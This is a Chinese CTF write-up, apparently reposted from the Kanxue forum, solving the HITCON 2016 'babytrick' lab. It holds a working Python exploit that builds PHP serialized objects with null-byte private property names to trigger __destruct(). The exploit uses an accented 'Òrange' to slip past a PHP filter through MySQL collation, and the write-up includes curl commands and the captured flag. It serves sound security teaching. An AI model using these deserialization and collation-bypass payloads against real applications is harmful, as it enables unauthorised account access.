Hitcon-2016-babytrick 解题报告

作者:看雪学苑 发布:2026-09-07 18:00 收录:2026-09-16 08:26 1 次阅读 约 1549 字
摘要:看雪论坛作者ID:mb_dcvvjyqc
推荐理由:本文涵盖「PHP反序列化」、「__destruct」、「MySQL字符集」等多个主题,重点关注 PHP反序列化。

1.题目概述

目标地址:

http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/


题目是 HITCON 2016 babytrick 的复现靶场,核心考点:

PHP 反序列化控制对象属性
__destruct() 自动调用
MySQL UTF-8 排序规则字符等价
PHP 字符串检测与 MySQL 字符比较差异


最终 flag:

flag{443a0802-d43d-459e-a419-130b9a80f93b}


2.访问源码

首页直接高亮源码:

curl "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/"


关键入口:

if(isset($_GET["data"])) {
    @unserialize($_GET["data"]);
else {
new HITCON("source"array());
}


也就是说,data 参数会被直接反序列化。


3.HITCON 类逻辑分析

类里有 3 个 private 属性:

private $method;
private $args;
private $conn;


析构函数:

function __destruct() {
    $this->__conn();

if (in_array($this->method, array("show""login""source"))) {
@call_user_func_array(array($this, $this->method), $this->args);
    } else {
        $this->__die("What do you do?");
    }

    $this->__close();
}


利用思路,构造一个 HITCON 对象,让:

method = login
args[0] = 用户名
args[1] = 密码
conn = NULL


对象生命周期结束时会自动触发 __destruct(),进而调用:

$this->login($args[0], $args[1]);


4.private 属性序列化格式

PHP 序列化 private 属性时,属性名不是普通字符串,而是:

\x00类名\x00属性名


所以:

private $method;


序列化属性名应为:

\x00HITCON\x00method


完整字段写法:

s:14:"\x00HITCON\x00method";


长度为什么是 14?

\x00       1 byte
HITCON     6 bytes
\x00       1 byte
method     6 bytes
------------------
total     14 bytes


同理:

\x00HITCON\x00args  ->12 bytes
\x00HITCON\x00conn  ->12 bytes


5.初始化数据库

题目原始配置中 DEBUG 开关为:

$DEBUG = @$_GET['noggnogg'];


当带上:

?noggnogg=1


会执行建表和插入测试数据:

INSERT INTO users VALUES ('orange''$db_pass''admin'), ('phddaa''ddaa''user')


初始化命令:

curl "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/?noggnogg=1"


6.写一个序列化构造器

保存为:

solve_babytrick_min.py


内容:

import urllib.parse
import urllib.request

TARGET = "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/"
Z = b"\x00"

def ser_str(x):
    b = x if isinstance(x, byteselse str(x).encode("utf-8")
return b's:%d:"%s";' % (len(b), b)

def ser_arr(args):
    out = b'a:%d:{' % len(args)
for i, arg in enumerate(args):
        out += b'i:%d;' % i
        out += ser_str(arg)
    out += b'}'
return out

def hitcon(method, args):
    method_b = method.encode()

    payload = (
b'O:6:"HITCON":3:{'
b's:14:"' + Z + b'HITCON' + Z + b'method";' + ser_str(method_b) +
b's:12:"' + Z + b'HITCON' + Z + b'args";' + ser_arr(args) +
b's:12:"' + Z + b'HITCON' + Z + b'conn";N;'
b'}'
    )

return payload

def request(payload=None, extra_query=None):
if payload is None:
        url = TARGET
if extra_query:
            url += "?" + extra_query
else:
        data = urllib.parse.quote_from_bytes(payload, safe="")
if extra_query:
            url = TARGET + "?" + extra_query + "&data=" + data
else:
            url = TARGET + "?data=" + data

return urllib.request.urlopen(url, timeout=10).read().decode("utf-8""replace")

# 初始化数据库
request(extra_query="noggnogg=1")

# 验证 show
print(request(hitcon("show", ["phddaa"])))
print(request(hitcon("show", ["orange"])))


运行:

$env:PYTHONIOENCODING="utf-8"
python solve_babytrick_min.py


预期输出:

{"msg":"phddaa is user"}
{"msg":"orange is admin"}


说明数据库初始化成功。

7.login 过滤逻辑

login() 里有关键过滤:

if ( $username == 'orange' || stripos($sql'orange') != false ) {
$this->__die("Orange is so shy. He do not want to see you.");
}


直接登录:

username = orange
password = babytrick1234


会被拦截,因为 SQL 中一定包含:

username='orange'


触发:

stripos($sql'orange') != false


8.绕过思路:PHP 与 MySQL 字符比较差异

使用:

Òrange


替代:

orange


原因:

PHP 层
PHP 的:stripos($sql'orange')不会把:Òrange识别成:orange
所以不会触发过滤。
MySQL 层
MySQL 的 UTF-8 默认排序规则通常是大小写不敏感、重音不敏感的比较规则。


所以:

username='Òrange'


可以匹配数据库里的:

orange


这就是本题的关键。

9.验证字符等价

添加测试代码:

for name in ["orange""Òrange""Órange""Örange"]:
print(name, request(hitcon("show", [name])))


运行结果中可以看到:

orange  -> orange is admin
Òrange  -> orange is admin


说明 Òrange 在 MySQL 查询中成功匹配了 orange。

10. 获取密码

原题公开配置中:

$db_pass = 'babytrick1234';


数据库初始化时插入:

('orange''$db_pass''admin')


所以 admin 用户密码为:

babytrick1234


11.构造最终 payload

登录参数:

method = login
args[0= Òrange
args[1= babytrick1234
conn =NULL


未 URL 编码前的 payload 结构:

O:6:"HITCON":3:{
  s:14:"\x00HITCON\x00method";s:5:"login";
  s:12:"\x00HITCON\x00args";a:2:{
i:0;s:7:"Òrange";
i:1;s:13:"babytrick1234";
  }
  s:12:"\x00HITCON\x00conn";N;
}


注意:

Òrange


UTF-8 字节长度是 7,不是 6。

12.最终可复现脚本


import urllib.parse
import urllib.request

TARGET = "http://30269a20-ee39-4807-8152-7b969e4b23f4.node.pediy.com:81/"
Z = b"\x00"

def ser_str(x):
    b = x if isinstance(x, byteselse str(x).encode("utf-8")
return b's:%d:"%s";' % (len(b), b)

def ser_arr(args):
    out = b'a:%d:{' % len(args)

for i, arg in enumerate(args):
        out += b'i:%d;' % i
        out += ser_str(arg)

    out += b'}'
return out

def hitcon(method, args):
    method_b = method.encode()

    payload = (
b'O:6:"HITCON":3:{'
b's:14:"' + Z + b'HITCON' + Z + b'method";' + ser_str(method_b) +
b's:12:"' + Z + b'HITCON' + Z + b'args";' + ser_arr(args) +
b's:12:"' + Z + b'HITCON' + Z + b'conn";N;'
b'}'
    )

return payload

def request(payload=None, extra_query=None):
if payload is None:
        url = TARGET
if extra_query:
            url += "?" + extra_query
else:
        data = urllib.parse.quote_from_bytes(payload, safe="")
if extra_query:
            url = TARGET + "?" + extra_query + "&data=" + data
else:
            url = TARGET + "?data=" + data

return urllib.request.urlopen(url, timeout=10).read().decode("utf-8""replace")

# 1. 初始化数据库
request(extra_query="noggnogg=1")

# 2. 验证普通用户
print("[show phddaa]")
print(request(hitcon("show", ["phddaa"])))

# 3. 验证 admin 用户存在
print("[show orange]")
print(request(hitcon("show", ["orange"])))

# 4. 使用 Òrange 绕过 PHP orange 检测
print("[show Òrange]")
print(request(hitcon("show", ["Òrange"])))

# 5. 最终登录拿 flag
print("[login]")
print(request(hitcon("login", ["Òrange""babytrick1234"])))


运行:

$env:PYTHONIOENCODING="utf-8"
python solve_babytrick_min.py


输出:

[show phddaa]
{"msg":"phddaa is user"}

[show orange]
{"msg":"orange is admin"}

[show Òrange]
{"msg":"orange is admin"}

[login]
{"msg":"Hi, Orange! Here is your flag: flag{443a0802-d43d-459e-a419-130b9a80f93b}"}


13.解题链总结

完整链路:

源码泄露
  ↓
发现 data 参数 unserialize()
  ↓
构造 HITCON 对象
  ↓
控制 private 属性 method / args / conn
  ↓
通过 __destruct() 调用 login()
  ↓
DEBUG 参数 noggnogg 初始化数据库
  ↓
确认 orange 是 admin
  ↓
利用 Òrange 绕过 PHP stripos('orange')
  ↓
MySQL UTF-8 排序规则把 Òrange 匹配到 orange
  ↓
使用 babytrick1234 登录
  ↓
获得 flag


最终:

flag{443a0802-d43d-459e-a419-130b9a80f93b}




看雪ID:mb_dcvvjyqc

https://bbs.kanxue.com/user-home-946087.htm

*本文为看雪论坛优秀文章,由 mb_dcvvjyqc 原创,转载请注明来自看雪社区
9月10日【议题征集】截止

# 往期推荐

HTB Nimbus渗透测试靶机 Writeup

当高频观测不再经过异常路径:Shadow Cave 与常驻式插桩架构

D3CTF 2026 d3llvm.apk 反调试定位与加密 SO的Dump

一串反引号,十层突破:n1ctf‑2018‑easy_harder_php 完整利用链

实现一个EDR不可见的网络通信(将lwip移植到nt内核中)

图片

球分享

球点赞

球在看


点击阅读原文查看更多

转载声明:本文转载自原发布平台 (作者:看雪学苑), 原文标题《Hitcon-2016-babytrick 解题报告》, 查看原文。 版权归原作者及原发布平台所有,本站仅作收录与展示,未对正文内容作实质性修改; 若涉及侵权请联系本站处理。